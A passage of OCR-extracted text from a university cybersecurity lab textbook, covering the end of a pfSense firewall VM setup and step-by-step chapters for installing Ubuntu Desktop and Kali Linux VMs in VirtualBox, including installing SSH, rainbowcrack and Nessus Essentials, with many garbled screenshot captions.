Base Memory: I L
4 MB
Audio Boot Order: :‘?j Hard Disk
Metwork

Serial Ports

|:|'_-:I Metwork

UsB

Chipset: PIIX3
Shared Folders =Nip

_ Pointing Device: PS/2 Mouse
i User Interface
Extended Features: Enable |/O APIC
Enable EFI (special ¢

Hardware Clock in UTC Time

Figure 9 - Configured boot order settings
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pfSense-Firewall-VM - Settings

General
System
Display ) G5

Storage

se-CE-2.7.2-RELEASE-amd64
Audio u Em p tﬁ.«'

Use Host 1/ Cache
Metwork

Serial Ports

UsB

Shared Folders

User Interface

Figure 11 - Configured storage device settings
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pfSense-Firewall - Optical Disk Selector

Medium

™
QG o
Add  Create Refresh

Mam Virtual Size Actual Size

Search By Mame

Leave Emplky Cancel

Figure 12 - Optical disk selector

pfSense-Firewall - Optical Disk Selector

Medium
.
t'l' Q -
Add  Create Refresh

MName Virtual Size Actual Size

Mot Attached
pfSsense-CE-2.7.2-RELEASE-amdé&4.iso 834.15 MB 834.15 MB

Search By Mame

Leave Empty

Figure 14 - Add installer to storage devices
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pfSense-Firewall-VM - Settings

General

System
: Adapter2 Adapter

Display
Enable Network Adapter
Attached to: NAT

Audio

MNetwork * Advanced

Serial Ports
LUSBE

Shared Folders

i User Interface

Figure 16 - Configured network settings
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pfSsense-Firewall [Running] - Oracle VM VirtualBox

File Machine WView Input Devices Help
pfSense Installer

{Copyright and distribution notice|]
Copyright and Trademark Hotices.

Copyright 2884-2816. Electric Sheep Fencing, LLC ("ESF™).
A1l Rights Reserved.

Copyright 2814-28723. Rubicon Communications, LLC dfbfa Hetgate
("Hetgate™).
A1l Rights Reserved.

All logos. text. and content of ES5F andfor Hetgate, including underlying
HTHL code. designs. and graphics used and/or depicted herein are
protected under United States and international copyright and trademark
laws and treaties, and may not be used or reproduced without the prior
express uritten permission of ES5F and/or Hetgate.

“pfSense” is a registered trademark of ESF, exclusively licensed to
Hetgate, and may not be used without the prior express written

permission of ESF and/or Hetgate. All other trademarks shown herein are
26%—

[Accept]

BOlo &P E T 5, € B right ctrl

Figure 19 - Copyright and distribution notice
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pfSsense-Firewall [Running] - Oracle VM VirtualBox

File Machine WView Input Devices Help
pfSense Installer

Helcome

Helcome to pfSensel

l Install Install pfSense

Rescue Shell Launch a shell for rescue operations
Recover config.xml Recover config.xml from a previous install

<Cancel >

B0k P S ¥, @ B Right ctrl

Figure 20 - Begin pfSense installation process
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pfSsense-Firewall [Running] - Oracle VM VirtualBox

File Machine WView Input Devices Help
pfSense Installer

Partitioning
How would you like to partition your disk?

Huto (Z2F5) uided Root-on-ZF5

Auto (UF5) Guided UFS Disk Setup
Manual Hanual Disk Setup (experts)
Shell Open a shell and partition by hand

<Cancel >

To use ZF5 with less than 8GB RAHM, see https://wiki.freebsd.org/Z2F5TuningGuide
BOorgsmE S ¥, @ B right ctrl

Figure 21 - Disk partitioning
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pfSsense-Firewall [Running] - Oracle VM VirtualBox

File Machine WView Input Devices Help
pfSense Installer

ZF5 Configuration
Configure Options:

=»» Install Proceed with Installation

Pool Type/fDisks: stripe: B disks
Rescan Devices *

Disk Info *

Pool Hame pfSense

Force 4K Sectors? YES

Encrypt Disks? HO

Partition Scheme GPT (BIOS)

Swap Size 1g

Hirror Swap? HO

Encrypt Swap? HO

I =

H
4
E
P
5
M
H

<ije lect >| <Cancel >

——=[Use alnum, arrows, punctuation. THB or EHTER]

Create ZF5 boot pool with displayed options

BOlo &P E T 5, € B right ctrl

Figure 22 - Proceed with installation
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pfSsense-Firewall [Running] - Oracle VM VirtualBox

File Machine WView Input Devices Help
pfSense Installer

ZF5 Configuration
Select VYirtual Device type:

S5tripe — No Redundancy

mirror Hirror — n—-Hay Hirroring

raidid RAID 1+ - n x 2-Hay Hirrors
raidzl RAID-Z21 - Single Redundant RAID
raidz? RAID-Z22 - Double Redundant RAID
raidz3d RAID-Z23 - Triple Redundant RAID

<Cancel>

[Press arrows, THB or EHTERI

[1+ Disks] S5triping provides maximum storage but no redundancy
SOk LM E T ¥, @ B right crl

Figure 23 - Redundancy configuration
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pfSsense-Firewall [Running] - Oracle VM VirtualBox

File Machine WView Input Devices Help
pfSense Installer

ZF5 Configuration

[t das

¢ Back >

BOokD LW E T ¥, B right ctrl

Figure 24 - Select disk to install pfSense
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pfSsense-Firewall [Running] - Oracle VM VirtualBox

File Machine WView Input Devices Help
pfSense Installer

ZF5 Configuration

Are you sure you want to

the current contents of the following disks:

< TS O ¢HD >

[Press arrows, THB or EHTERI]

%, & B right ctrl

Figure 25 - Overwrite disk
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pfSsense-Firewall [Running] - Oracle VM VirtualBox

File Machine WView Input Devices Help
etwork interface mismatch -- Bunning interface assignment option.

alid interfaces are:

emH HE:B8:27:da:32:cB (doun) Intel(R) Legacy PRO/1BBA HT 8Z2548EH

Do VLAHs need to be set up first?
If VLAHs will not be used. or only for optional interfaces. it is typical to
=ay no here and use the webConfigurator to configure YLAHs later. if required.

Should YLAHNs be set up now [yInl? emB: link state changed to UP

PA24-B5-22T15:58:46.847186+88:88 - php-fpm 395 - - #rc.linkup: DHCP Client not r
nning on wan (emB), reconfiguring dhclient.

PAZ24-B5-22T15:58:58 .829657+88:88 - php-fpm 395 - - /rc.newwanip: rc.newwanip: In
o: starting on emd.

PA24-B5-22T15:58:58 .829788+88:88 - php-fpm 395 - - frc.newwanip: rc.newwanip: on
(IP address: 18.8.2.15) (interface: HAH[wanl) (real interface: emB).

If the names of the interfaces are not known, auto-detection can
he used instead. To use auto-detection, please disconnect all
interfaces before pressing 'a’ to begin the process.

nter the HAH interface name or 'a’ for auto-detection
(emB or a): enB]

BOlo &P E T 5, € B right ctrl

Figure 28 - Configure WAN interface
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pfSsense-Firewall [Running] - Oracle VM VirtualBox

Machine View Input Devices Help
BE:H8:27:da:32:cB (douwn) Intel(R) Legacy PRO/1HBHA HT 8Z2548EH

Do YLAHs need to be set up first?
IT VLAHs will not be used. or only for optional interfaces. it is typical to
=ay no here and use the webConfigurator to configure YLAHs later. if required.

Should YLAHNs be set up now [yInl? emB: link state changed to UP

?AZ24-B5-22T15:58:46.847186+88:88 - php-fpm 395 - - /rc.linkup: DHCP Client not r
nning on wan (emB), reconfiguring dhclient.

PAZ24-B5-22T15:58:58.829657+88:88 - php-fpm 3953 - - /rc.newwanip: rc.newwanip: In
o: starting on emf.

PA24-B5-22T15:58:58 .829788+88:88 - php-fpm 395 - - frc.newwanip: rc.newwanip: on
(IP address: 18.8.2.15) (interface: HHHIwanl) (real interface: emB).

If the names of the interfaces are not known, auto-detection can
he used instead. To use auto-detection, please disconnect all
interfaces before pressing 'a’ to begin the process.

nter the HMAH interface name or 'a’ for auto-detection
(emd or al: emB

nter the LAN interface name or 'a’ for auto-detection
OTE: this enables full Firewalling/HAT mode.
( a or nothing if finished): |

B0k &P E T 5, € B right ctrl

Figure 29 - Configure LAN interface
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pfSsense-Firewall [Running] - Oracle VM VirtualBox

File Machine WView Input Devices Help

Should YLAHs be set up now [yInl? emB: link state changed to UP

PA24-B5-22T15:58:46.847186+88:88 - php-fpm 395 - - #rc.linkup: DHCP Client not r
nning on wan (emB), reconfiguring dhclient.

PAZ24-B5-22T15:58:58 .829657+88:88 - php-fpm 395 - - /rc.newwanip: rc.newwanip: In
o: starting on emB.

PAZ24-B5-22T15:58:58 .829788+88:88 - php-fpm 395 - - /rc.newwanip: rc.newwanip: on
(IP address: 18.8.2.15) (interface: HAH[wanl) (real interface: emB).

If the names of the interfaces are not known, auto-detection can
he used instead. To use auto-detection, please disconnect all
interfaces before pressing 'a’ to begin the process.

nter the WAH interface name or 'a’ for auto-detection
(emd or al: emB

nter the LAH interface name or 'a’' for auto-detection
OTE: this enables full Firewalling/HAT mode.
( a or nothing if finished):

interfaces will be assigned as follows:

Do you want to proceed [yInl? yfj

B0k &P E T 5, € B right ctrl

Figure 30 - Confirm settings
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pfSense-Firewall - Sekttings

General

System

Display & Controller: IDE

B prsense-Firewallvdi

Storage
© pfSense-CE-2.7.2-RELEASE-amdé4.iso

Audio
Metwork
Serial Ports
UsB

Shared Folders

i User Interface

Figure 32 - Select device to remove
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CHAPTER 11

Create an Ubuntu Desktop

DANTE ROCCA

Sometimes we need a Linux desktop with more power than Tiny Core Linux. Like other Linux flavors (known as
distributions), Ubuntu’s primary strength is the command line interface. Ubuntu Desktop has a graphical interface
already installed but we will use the terminal for the installation in this lab anyway.

LEARNING OBJECTIVES

+ Successfully download, install, and run Ubuntu Desktop in a GNS3 environment

PREREQUISITES

+ Virtualbox Installed
* GNS3 Workspace Installed

DELIVERABLES

* None - this is a preparatory lab that supports other labs in this book

RESOURCES

+ Download Ubuntu Desktop

CONTRIBUTORS AND TESTERS

+ Mathew J. Heath Van Horn, PhD, ERAU-Prescott

Phase | - Download and Installation

Much like the Linux Server, installation is pretty straightforward. Be sure to work through the lab completely as
the tools installed later will be used down the line.

211


https://ubuntu.com/download/desktop
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1.

2.

3.

0.

MATHEW J. HEATH VAN HORN, PHD

Download Ubuntu Desktop from here
Start Oracle Virtual Box Manager
Click on New (Figure 1)
3.1. Pick a name, here we will use Ubuntu Desktop New
3.2. Choose a directory where you want the VM installed. Here we used an external M2 drive
3.3. Use the dropdown menu to select theUbuntu Desktop ISO that you downloaded
3.4. _ Click Skip Unattended Installation
3.5. Click Next (Figure 2)

3.6. Change the base memory to 4096 MB and click next (Figure 3)

NOTE: Ubuntu Desktop requires 4GB of RAM to install. This unfortunately makes it more
intense than other machines used in this book. If you need an Ubuntu Desktop that uses less
RAM we recommend version 22 instead of version 24. That can be found here.

3.7. Leave the default Virtual Hard Disk settings and click next (Figure 4)

3.8. Review the summary and click Finish (Figure 5)

. Start the Ubuntu Desktop VM

. Hit enter totry or install Ubuntu (Figure 6)

. When the welcome to Ubuntu window appears select your language and click next (Figure 7)

. On the Accessibility screen, select any accessibility settings relevant to you. Once done, hit next

. Select your keyboard layout and hit next (Figure 8)

On the Internet Connection screen leave the Use wired connection radio button selected and hit next

(Figure 9)

10. Select Install Ubuntu and hit Next (Figure 10)

11.

Select Interactive Installation and hit next (Figure 11)

12. Select Default selection and hit next (Figure 12)


https://ubuntu.com/download/desktop
https://eaglepubs.erau.edu/app/uploads/sites/10/2024/03/UbuntuDesktop-Figure1.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2024/03/UbuntuDesktop-Figure2.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2024/05/Figure-3.png
https://www.releases.ubuntu.com/22.04/
https://eaglepubs.erau.edu/app/uploads/sites/10/2024/03/UbuntuDesktop-Figure4.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2024/05/Figure-5.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2024/03/UbuntuDesktop-Figure6.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2024/05/Figure-7.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2024/05/Figure-8.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2024/05/Figure-9.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2024/05/Figure-10.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2024/05/Figure-11.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2024/05/Figure-12.png
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NOTE: If desired you may select Extended selection but it isn't required for the labs present in this
book and will take longer to install.

13. Select any proprietary software you desire, none of them will be needed for labs in this book. Hit
next

14. Select Erase disk and install Ubuntu then click next (Figure 13)

15. Enter a name and the computer and username should be automatically filled out. Like every other
machine we will use the name student. Enter a password, as with every other machine, we use Security1
as our password. Clicknext (Figure 14)

16. Select your time zone and location (Figure 15)

17. Review your choices and click Install (Figure 16)

18. Once the installation is complete, click Restart now (Figure 17)

19. Hit enter when prompted to boot into the machine

Phase Il - Installing SSH

Secure Shell (SSH) is a common remote shell and administration tool. It is used to securely remote login and
command-line execution. We install it here for later use.

1. Log into the Ubuntu Desktop virtual machine

2. Click the Canonical logo (show applications) button in the bottom left corner. In the search screen
that appears, search for and open the terminal (Figure 18)

3. Inthe newly opened terminal, type the following command to install SSH

sudo apt install ssh

4. Enter y when prompted

5. Once the install is finished, ssh will successfully be installed (Figure 19)


https://eaglepubs.erau.edu/app/uploads/sites/10/2024/05/Figure-13.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2024/05/Figure-14.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2024/05/Figure-15.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2024/05/Figure-16.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2024/05/Figure-17.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2024/03/UbuntuDesktop-Figure18.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2024/03/UbuntuDesktop-Figure19.png
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End of Lab

Figures for Printed Version

y
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i5

Snapshot
New...
Add...

Settings...
Clone. ..

Move..,

Export to OCIL...

Remove...

Move to Group

Start
Pause
Reset

Stop

Tools

% Oracle VM VirtualBox Manager
File  Machine

Help

Dizcard Saved State

Ctrl+M
Ctrl+a

Ctrli+5
Ctrl+0

pws 10 Clea...)

&% O P

Settings Discard  Start

) & &

Take Delete Restore | Properties Clone

MName

b @ Base

hd @ GUT and HTML server
@l Current State (changed)

Figure 1 - Creating a new VM
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Virtual machine Name and Operating System

Please choose a descriptive name and destination folder for the new virtual machine. The name you choose will be
used throughout VirtualBox to identify this machine. Additionally, vou can select an 150 image which may be used
to install the guest operating system.

Mame: Ubuntu Desktop Mew Q?
Folder: === D: e
IS0 Image: D Ci\Wsersimheat\Downloads \ubuntu-22, 04, 4-desktop-amd&4.iso ~
’ Edition:

Type: Linux %,

Version:  Ubuntu (64-hit)
B skip Unattended Installation
@ You have selected to skip unattended guest 05 install, the guest OS5 will need to be installed

manually.

Help Expert Mode ack Mext Cancel

Figure 2 - Creating a new VM

Hardware

You can modify virtual machine's hardware by changing amount of RAM and virtual CPU count.

Enabling EFI is also possible.

Bas 4096 MB
4MB 327558 MB

Processors:

1 CPU 32 CPUs

Enable EFI (spedal 0Ses only)

Figure 3 - Screenshot of Hardware Specifications
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Virtual Hard disk

If you wish you can add a virtual hard disk to the new machine, You can either create a new hard disk
file or select an existing one. Alternatively you can create a virtual machine without a virtual hard disk.

QO Create a Virtual Hard Disk MNow
Disk Size: ' 25.00 GB
4.00 MB 2.00TE
’ [ Pre-allocate Full Size
() Use an Existing Virtual Hard Disk File
[y DHCP 1, vdi (Normal, 60,00 GE)
() Do Mot Add a Virtual Hard Disk

Help Back Mext Cancel

Figure 4 - Creating a new VM

¥ Create Virtual Machine ? et

£

Figure 5 - Screenshot of Summary Page

Summary

wing table summarizes the configuration you have chosen for the new virtual machine.
When you are happy wi onfiguration press Finish to create the wirtual machine. Alternati
you can go badk and modify the configuration.

2 Machine Name and 05 Type
Machine Mame Ubuntu De
Machine Folder C:flUser } /Ubuntu Desktop 24
IS0 Im buntu-24.04-desktop-amd&4.iso
Guest OS5 Type Ubuntu (54-bit)
Skip Unattended Install true

P Hardware

s

{

4096
1
false
)
] GB
Pre-allocate Full Size
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Pa Ubuntu Desktop New [Running] - Oracle VM VirtualBox = O x

File Machine View Input Devices Help

GNU GRUB wersion 2.06

Try or Install Ubuntu

Ubuntu (=afe graphics)
OEM in=stall (for manufacturers)
Test memory

Uzse the t and 1l keys to select which entry iz highlighted.
Press enter to boot the selected 03, "e' to edit the commands
before booting or 'c’ for a command-line.

The highlighted entry will be executed automatically in 19s=.

Bom=g Bl @riohtcl

Figure 6 - Installing a Ubuntu Desktop
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P& Ubuntu Desktop 24 new [Running] - Oracle VM VirtualBox - O s
Fle Machine WView Input Devices Help

-— May 9 17:39

Welcome to Ubuntu

Choose your language:

Dansk
Deuksch

Eesti

.::’ UbUntU English

Espafiol

Esperanto

Fuskara

Figure 7 - Language Selection Screen
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File Machine View Input Dey

Keyboard layout

Select your keyboard layout Detect

English (South Africa)
English (UK)

English (US)
Esperanto

Estonian

Select your keyboard variant: English (US)

Figure 8 - Keyboard Layout Screen



220 MATHEW J. HEATH VAN HORN, PHD

File Machine Input D

- May9 17:43

Internet connection

Connect to the internet

An internet connection will improve your installation with compatibility
check and extra software packages.

© Use wired connection

Do not conneck to the internet

Figure 9 - Internet Connection Screen



UBUNTU DESKTOP VM

File  Maching Input De

Figure 10 - Try or Install Ubuntu Screen

May 9 17:44

Try or install Ubuntu

What do you want to do with Ubuntu?

o Install Ubuntu

Install Ubuntu alongside (or instead of) your current
operating system. This shouldn't take too long.

Try Ubuntu
You can try Ubuntu without making any changes to
your computer.

221
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P2 Ubuntu Desktop 24 new [Running] - Oracle VM VirtualBox - m] X
File Machine V Input

Type of installation

How would you like to install Ubuntu?

Interactive installation
For users who want to be quided step by step through
the installation.

Automated installation
For advanced users who have an autoinstall.yaml for
consistent and repeatable system setups.

Figure 11 - Type of Installation Screen
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File Machine View Input Dey

- May 9 17:48

Applications

What apps would you like to install to start
with?

(o] Default selection
Just the essentials, web browser and basic utilities.

Extended selection
An offline-friendly selection of office tools, utilities
and web browser

Figure 12 - Applications Screen
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File Machine Wew Input D

- . May 9 17:51

Disk setup

How do you want to install Ubuntu?

© FErase disk and install Ubuntu

Start from scratch on your selected disk.

Advanced features... None selected

fanual installation
For advanced users SE‘E‘kiI"E customized disk setLps.

Figure 13 - Disk Setup Screen
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File Machine View Input D

May 9 17:53

Create your account

Create your account

Your name
student

Your computer's name

student-VirtualBox

Your username

studenkt (]

Password
srasnsses @& Show Fair password

Confirm password

| @

Require my password to log in

Use Active Directory

Figure 14 - Create Account Screen
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ﬂ Ubuntu Desktop 24 new [Running] - Oracle VM VirtualBox

File Machine View Input Devices

Location

Detroit

Figure 15 - Select Timezone Screen

May 9 13:54

Select your timezone

Timezone

America/Detroit

MATHEW J. HEATH VAN HORN, PHD
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File Machine V Input

Figure 16 - Ready to Install Screen

May9 13:55

Ready to install

Review your choices

General

Disk setup Erase disk and install Ubuntu
nstallation disk VBOX HARDDISK sda
Applications Default selection
Security & more

Disk encryption

Proprietary software

Partitions

partition sda1 created
partition sda2 formatted as ext4 used for /
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File Machine Input

Installation complete

Ubuntu 24.04 LTS is installed and ready to use

Restart to complete the installation or continue testing.
Any changes you make will not be saved.

Figure 17 - Installation Complete Screen
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P4 Ubuntu Desktop Mew [Running] - Oracle VM VirtualBox = a x
File Machine Wiew Input Devices Help
Activities Apr16 20:12

Q terminall

Terminal

EE, Characters EE Soyombo Terminal Mark-1

EE Soyombo Terminal Mark-2

o ) B el =l (5 [#] right cirl

Figure 18 - Find the terminal
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[+ student@student-VirtualBox: ~

Creating config file fetc/ssh/sshd_config with new version
Creating SSH2 RSA key; this may take some time ...
3072 SHA256:rzZswCS58RrNLYYAdDUYWCau3T+1GUYSSMuAjx6CkSRQo root@student-virtualBox
(RSA)
Creating SS5H2 ECDSA key; this may take some time
256 SHA256:8HU9tL7PCh2eHmnWt1lzrMVTSwyGNLpkd5cedr92ruNQ root@student-virtualBox (
ECDSA)
Creating SSH2 ED25519 key; this may take some time
256 SHA256:mvNeQRKia51tcROG71y/uBteeSkDb2DT124MIbdOeRU root@student-virtualBox (
ED25519)
Created symlink /etc/systemd/system/sshd.service — /lib/systemd/system/ssh.servi
ce.
Created symlink /etc/systemd/system/multi-user.target.wants/ssh.service = /lib/s
ystemd/system/ssh.service.
rescue-ssh.target is a disabled or a static unit, not starting it.
ssh.socket is a disabled or a static unit, not starting it.
Setting up ssh-import-id (5.11-6ubuntul)
Setting up ncurses-term (6.3-2ubuntuf.1)
Setting up ssh (1:8.9p1-3ubuntud.s6)
Processing triggers for man-db (2.18.2-1)
Processing triggers for ufw (8.36.1-4ubuntuB.1)
1§

I

Figure 19 - Install SSH
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CHAPTER 12

Create a Kali Linux VM

DANTE ROCCA

Kali Linux is the distribution of choice for attacking a network thanks to the many attack tools it comes bundled
with. This lab provides instructions for making a Kali Linux VM.

LEARNING OBJECTIVES

+ Successfully download, install, and run Kali Linux in a GNS3 environment

PREREQUISITES

+ Chapter 2 - Setting Up a GNS3 Environment

DELIVERABLES

* None - this is a preparatory lab that supports other labs in this book

RESOURCES

+ Download Kali Linux

* Download Nessus Essentials for Education

CONTRIBUTORS AND TESTERS

+ Mathew J. Heath Van Horn, PhD, ERAU-Prescott

Phase | - Download and Installation

We are going to download and install the Kali Linux VM. We are going to use the .iso image and not the
prebuilt VM. Generally, the pre-made VM works fine, but a few testers had problems. When we used the .iso the
configuration and compatibility problems resolved themselves.
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https://www.kali.org/
https://www.tenable.com/products/nessus/nessus-essentials
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1. Start by downloading the recommended image file here

IMPORTANT: Make sure you download the Installer Image and not the Virtual Machine image.

2. Select the 64-bit installer image and click the download method you prefer
3. Once the image file has been downloaded, open VirtualBox
4. Click on the new button (Figure 1)
4.1. Give the new VM a name
4.2. Select the folder you want to save the VM
4.3. Select the ISO image you downloaded earlier
4.4, Select next (Figure 2)
5. Leave the defaults for the hardware (Figure 3)
6. Use the defaults for the virtual disk space (Figure 4)
7. Verify the settings and click onfinish (Eigure 5)
8. Start the Kali VM
9. Hit enter over the graphical install (Figure 6)
10. Select your language and hit continue (Figure 7)
11. Select your region and hit continue (Figure 8)
12. Select your keyboard layout and click continue (Figure 9)

13. Leave the hostname as default and click continue (Figure 10). Then leave the domain blank and click
continue (Figure 11)

14. Give the full name as student and click continue (Figure 12)
15. Then leave the account name as student and click continue (Eigure 13)
16. Like other VMs use the password Security1 and click continue (Figure 14)

17. Select your time zone and clickcontinue (Figure 15)


https://www.kali.org/
https://eaglepubs.erau.edu/app/uploads/sites/10/2024/03/Kali-Figure1.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2024/03/Kali-Figure2.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2024/03/Kali-Figure3.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2024/03/Kali-Figure4.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2024/03/Kali-Figure5.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2024/03/Kali-Figure6.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2024/03/Kali-Figure7.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2024/03/Kali-Figure8.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2024/03/Kali-Figure9.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2024/03/Kali-Figure10.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2024/03/Kali-Figure11.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2024/03/Kali-Figure12.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2024/03/Kali-Figure13.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2024/03/Kali-Figure14.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2024/03/Kali-Figure15.png
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18. Partition Disk

18.1. Select option guided - use entire disk and press continue (Figure 16)
18.2. Leave the disk partition as default and click continue (Figure 17)
18.3. Select - All files in one partition and click continue (Figure 18)
18.4. Verify your partition information and click continue (Eigure 19)
19. Once the software selection screen pops up, leave the defaults and click continue (Figure 20)

20. Once the install GRUB boot loader screen pops up, leave the default yes radio button and click
continue (Eigure 21)

21. On the next screen select the device, there should be only one, and click continue (Figure 22)

22. Once this is done, click continue one last time
23. Finish the installation by clicking continue (Figure 23)

24. Once the login screen pops up, login to make sure everything works

Phase Il - Necessary Software

While Kali comes with a large toolset, there are two tools we will need later that don’t come preinstalled.

1. Open the terminal and run this command to install rainbow crack

sudo apt-get install rainbowcrack

2. Once the install completes, close the terminal and open Firefox

3. In Firefox, go to this link to download Nessus Essentials for Education. Click on try now (Figure 24).
You will need to provide a business email but none of our testers has reported spam from this

4. Click the download button that appears. Then leave the defaults on the next screen and click
download. At the time of writing the version of Nessus is 10.7.1

5. Open the folder where you downloaded the file. Right-click inside the folder and click open terminal
here (Figure 25)
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https://eaglepubs.erau.edu/app/uploads/sites/10/2024/03/Kali-Figure16.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2024/03/Kali-Figure17.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2024/03/Kali-Figure18.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2024/03/Kali-Figure19.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2024/03/Kali-Figure20.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2024/03/Kali-Figure21.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2024/03/Kali-Figure22.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2024/03/Kali-Figure23.png
https://www.tenable.com/tenable-for-education/nessus-essentials
https://eaglepubs.erau.edu/app/uploads/sites/10/2024/03/Kali-Figure24.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2024/03/Kali-Figure25.png
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6. Use the following command to install the Nessus Package

sudo dpkg -i Nessus-10.7.1-ubuntuld404 amd64.deb

7. Use the following command to start the Nessus Scanner. While we won't do much with it right now,
we will need to input the activation code from our email

/bin/systemctl start nessusd.service

8. In the window that pops up enter the user password. Following that, reopen Firefox and go to this
link

https://kali: 8834

9. The page will tell you that it is insecure. Click advanced and then Accept the risk and continue (Figure
26)

10. Click continue on the first screen (Eigure 27)

11. Select the Register for Nessus Essentials radio button (Figure 28) and click continue. If you already got
the email earlier, then click skip (Figure 29)

12. Input the activation code from your email and clickcontinue (Figure 30)

13. Make a username and password for your account (Figure 31) and select submit


https://eaglepubs.erau.edu/app/uploads/sites/10/2024/03/Kali-Figure26.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2024/03/Kali-Figure26.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2024/03/Kali-Figure27.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2024/03/Kali-Figure28.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2024/03/Kali-Figure29.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2024/03/Kali-Figure30.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2024/03/Kali-Figure31.png
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Figure 32 - This could take a while

14. Nessus will take a while to download and compile plugins so wait for this process to complete
before switching the machine off
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End of Lab

Figures for Printed Version

'.!Ti Oracle WM VirtualBox Manager
File Machine Snapshot Help

5 {} — Cirlqny  HTML server) @ {é} @
Eﬂ: Add.. Curl+4 Take Delete Restore | Properties | Clone | Settings Discard Show

E ) Settings... Ctrl+5 8 HTML server) Mame
Clone... Ctrl+0 l$ Current State

Move...

& - Solar... (...)
(Al ExporttoOCL...

Remove...

E Maove to Group

E& Show
= [”] Pause
@ Reset
@ stop v

= Tools b

Discard Saved State. ..

>

B, Refresh

Show Log... Cirl+

Show in Explorer
@ Create Shortcut on Desktop
[ |

E@ Sort
Search Ctrl+F

Figure 1 - Create a new VM
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Virtual machine Name and Operating System

Please choose a descriptive name and destination folder for the new virtual machine. The name you choose will be
used throughout VirtualBox to identify this machine. Additionally, you can select an IS0 image which may be used
to install the guest operating system,

Mame:  Kali Linux Mew &
Folder: e [ b
IS0 Image: D Ci\Wsersimheat\Downloads kaliHinux-2024, 1-installer-amds4.iso ~
’ Edition:
pe:  Linux %, 1
Version: Ubuntu (54-hit)

Skip Unattended Installation

.

{

@ Detected OS5 type: Ubuntu (64-bit), This OS5 type cannot be installed unattendedly. The install
needs to be started manually.

Help Expert Mode ack Mext Cancel

Figure 2 - Create a new Kali VM

¢ Create Virtual Machine 7 >

Hardware

You can modify virtual machine's hardware by changing amount of RAM and virtual CPU count.,
Enabling EFI is also possible.

Base Memory: ' 2048 MEB =
4MB 32768 MB
Processors: ' 1
’ 1CPU 8 CPUs
[] Enable EFI {zpedal OSes only)

Help Back Mext

Figure 3 - Set resources for Kali VM

4k
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¥ Create Virtual Machine ? x

Virtual Hard disk

If you wish you can add a virtual hard disk to the new machine. You can either create a new hard disk
file or select an existing one. Alternatively you can create a virtual machine without a virtual hard disk.

© Create a Virtual Hard Disk Mow

Disk Size: ' 25.00 GB

4.00 MB 2.00TB
[ Pre-allocate Full Size

(") Use an Existing Virtual Hard Disk File

[et"y DHCP 1, wdi (Mormal, 60,00 GE)

() Do Mot Add a Virtual Hard Disk

Help Back Cancel

Figure 4 - Set disk space for Kali VM

4 Create Virtual Machine ?
Summary
The following table summarizes the configuration you have chosen for the new virtual machine. When
you are happy with the configuration press Finish to create the virtual machine, Alternatively you can
go back and modify the configuration.
"-2? Machine Name and 05 Type
Machine Mame Kali Linux Mew
‘ Machine Folder D Master Images - DO NOT CHANGE Kali Linux Mew
IS0 Image C:fUsersmheat/Downloads kali-Hinux-2024, 1-nstaller-amda4.iso
— ’ Guest 05 Type Ubuntu (64-bit)
Skip Unattended Install false
{:} Hardware
Base Memary 2048
Processor(s) 1
EFI Enable falze
Disk
Disk Size 25.00 GB
Pre-allocate Full Size falze
Help Back Finish Cancel

Figure 5 - Verify settings for new Kali VM
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Kali Linux Mew [Running] - Cracle VM VirtualBox

File Machine View Input Devices Help

Kali Linux installer menu (BIODS mode)

?_ ‘Graphical install

Install
Advanced oplbions
Accessable darvk contrast installer menu

In=taldNwith speech suynthesis

LS S —

Press a key, otherwise speech synthesis will be started in 15 seconds e

B Bl i  ®rohtcel

Figure 6 - Start Kali VM
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Kali Linux New [Running] - Oracle YM VirtualBox = O x

i
h]
T
i

Select a language

Choose the language to be used for the installation process. The selected language will also be the default
language for the installed system.

Language:

o e S HERS RN TR R T

h Chinese (Traditional) - dix(2EE8) B

Croatian - Hrvatski

Czech - Ceitina B
Danish - Dansk =
Dutch - Nederlands | W
Dzongkha - Er
English . Enghh
Esperanto - Esperanto

Estonian - Eesti

Finnish - Suomi

French - Francais

Galician - Galego

Georgian - dJatroyemn

German - Deutsch [~

Go Back ][ Continue

GG oo A5 (B0 il B0 (3] pioht Cirl |

Figure 7 - Set language
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Kali Linwx Mew [Running] - Oracle VM VirtualBox = O *

Input Devices Help

Select your location

The selected location will be used to set your time zone and also for example to help select the system locale.
Normally this should be the country where you live.

